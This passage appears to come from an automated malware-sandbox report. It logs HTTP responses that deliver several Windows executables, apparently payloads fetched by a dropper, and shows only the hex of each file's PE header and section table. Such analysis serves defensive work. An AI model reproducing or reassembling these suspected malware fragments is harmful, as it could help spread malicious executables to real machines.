e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 14:21:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 14:21:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 14:21:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 14:21:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:21:29 GMTContent-Type: application/octet-streamContent-Length: 2956800Last-Modified: Wed, 18 Dec 2024 13:22:00 GMTConnection: keep-aliveETag: "6762cc78-2d1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 31 00 00 04 00 00 70 d7 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c b0 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c b0 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 73 65 6d 74 6c 6b 71 00 10 2a 00 00 b0 06 00 00 02 2a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 71 77 70 69 68 6c 64 00 10 00 00 00 c0 30 00 00 04 00 00 00 f8 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 30 00 00 22 00 00 00 fc 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:22:09 GMTContent-Type: application/octet-streamContent-Length: 3286016Last-Modified: Wed, 18 Dec 2024 13:43:08 GMTConnection: keep-aliveETag: "6762d16c-322400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 c6 2f 00 00 20 00 00 00 c8 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 57 02 00 00 00 30 00 00 58 02 00 00 ca 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 32 00 00 02 00 00 00 22 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e6 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 00 c2 01 00 40 1c 04 00 03 00 00 00 43 0d 00 06 40 de 05 00 7a 05 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 42 0f 39 39 28 02 00 00 06 2a 00 00 3a 2b 05 28 f1 af 5e 41 00 28 21 0d 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 38 79 00 00 00 fe 0c 00 00 45 03 00 00 00 63 00 00 00 4f 00 00 00 2f 00 00 00 38 5e 00 00 00 73 17 00 00 0a 80 04 00 00 04 20 01 00 00 00 17 3a d5 ff ff ff 26 38 cb ff ff ff 73 18 00 00 0a 80 03 00 00 04 38 d6 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 00 00 00 00 17 39 ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 20 02 00 00 00 38 8c ff ff ff 2a 73 1b 00 00 0a 80 02 00 00 04 38 ad ff ff ff 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:22:20 GMTContent-Type: application/octet-streamContent-Length: 2037760Last-Modified: Wed, 18 Dec 2024 13:58:19 GMTConnection: keep-aliveETag: "6762d4fb-1f1800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 60 4d 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4d 00 00 04 00 00 aa 4d 1f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 